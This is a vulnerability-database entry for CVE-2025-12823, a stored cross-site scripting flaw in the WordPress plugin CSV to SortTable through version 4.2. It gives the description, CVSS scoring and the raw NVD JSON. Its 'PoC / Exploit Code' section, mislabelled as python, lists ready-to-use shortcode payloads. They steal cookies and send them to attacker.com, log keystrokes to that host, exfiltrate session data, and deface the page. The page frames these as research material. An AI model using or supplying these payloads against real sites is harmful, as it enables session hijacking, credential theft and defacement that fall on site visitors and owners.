Security Vulnerability Report
中文
CVE-2025-12823 CVSS 6.4 MEDIUM

CVE-2025-12823

Published: 2025-11-18 09:15:49
Last Modified: 2026-04-15 00:35:42

Description

The CSV to SortTable plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'csv' shortcode in all versions up to, and including, 4.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

CSV to SortTable WordPress插件 <= 4.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- WordPress CSV to SortTable Plugin - Stored XSS PoC --> <!-- Requires Contributor-level access or higher --> <!-- Basic XSS Payload via csv shortcode --> [csv file='data.csv' onload='alert(document.cookie)'] <!-- Cookie Theft Payload --> [csv file='data.csv' onload="fetch('https://attacker.com/steal?c='+document.cookie)"] <!-- Keylogger Payload --> [csv file='data.csv' onerror="document.addEventListener('keypress',function(e){fetch('https://attacker.com/log?k='+e.key)})"] <!-- Session Hijacking Payload --> [csv file='data.csv' onmouseover="fetch('https://attacker.com/steal?data='+btoa(JSON.stringify({cookie:document.cookie,url:location.href})))"] <!-- HTML Injection to Defacement --> [csv file='data.csv' onload='document.body.innerHTML="<h1>Defaced</h1>"']

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12823", "sourceIdentifier": "[email protected]", "published": "2025-11-18T09:15:49.093", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The CSV to SortTable plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'csv' shortcode in all versions up to, and including, 4.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://wordpress.com/plugins/csv-to-sorttable", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/53c59793-27db-44fa-92c8-2184d6914d8f?source=cve", "source": "[email protected]"}]}}